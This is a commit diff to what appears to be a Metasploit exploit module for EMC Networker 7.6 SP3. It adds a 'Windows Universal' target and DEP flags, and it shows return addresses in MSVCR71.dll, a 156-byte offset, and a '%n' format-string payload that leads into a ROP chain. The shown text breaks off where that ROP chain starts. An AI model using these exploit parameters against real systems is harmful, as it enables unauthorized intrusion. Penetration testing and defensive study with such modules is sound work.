added universal target

bug/bundler_fix
jvazquez-r7 2012-11-03 18:52:07 +01:00
parent b8eea1007f
commit 88c99161b4
1 changed files with 13 additions and 4 deletions

View File

@ -45,20 +45,29 @@ class Metasploit3 < Msf::Exploit::Remote
}, },
'Targets' => 'Targets' =>
[ [
['EMC Networker 7.6 SP3 / Windows Universal',
{
'Ret' => 0x7c354dac, # ret from MSVCR71.dll
'Offset' => 156,
'DEP' => true
}
],
['EMC Networker 7.6 SP3 / Windows XP SP3', ['EMC Networker 7.6 SP3 / Windows XP SP3',
{ {
'Ret' => 0x7c345c30, # push esp # ret from MSVCR71.dll 'Ret' => 0x7c345c30, # push esp # ret from MSVCR71.dll
'Offset' => 156 'Offset' => 156,
'DEP' => false
} }
], ],
['EMC Networker 7.6 SP3 / Windows 2003 SP2', ['EMC Networker 7.6 SP3 / Windows 2003 SP2',
{ {
'Ret' => 0x7c354dac, # ret from MSVCR71.dll 'Ret' => 0x7c354dac, # ret from MSVCR71.dll
'Offset' => 156 'Offset' => 156,
'DEP' => true
} }
] ]
], ],
'DefaultTarget' => 1, 'DefaultTarget' => 0,
'Privileged' => true, 'Privileged' => true,
'DisclosureDate' => 'Aug 29 2012')) 'DisclosureDate' => 'Aug 29 2012'))
@ -73,7 +82,7 @@ class Metasploit3 < Msf::Exploit::Remote
fs = "%n" * target['Offset'] fs = "%n" * target['Offset']
fs << [target.ret].pack("V") # push esp # ret from MSVCR71.dll fs << [target.ret].pack("V") # push esp # ret from MSVCR71.dll
if target.name =~ /Windows 2003/ if target['DEP']
rop_gadgets = rop_gadgets =
[ [
# rop chain generated with mona.py # rop chain generated with mona.py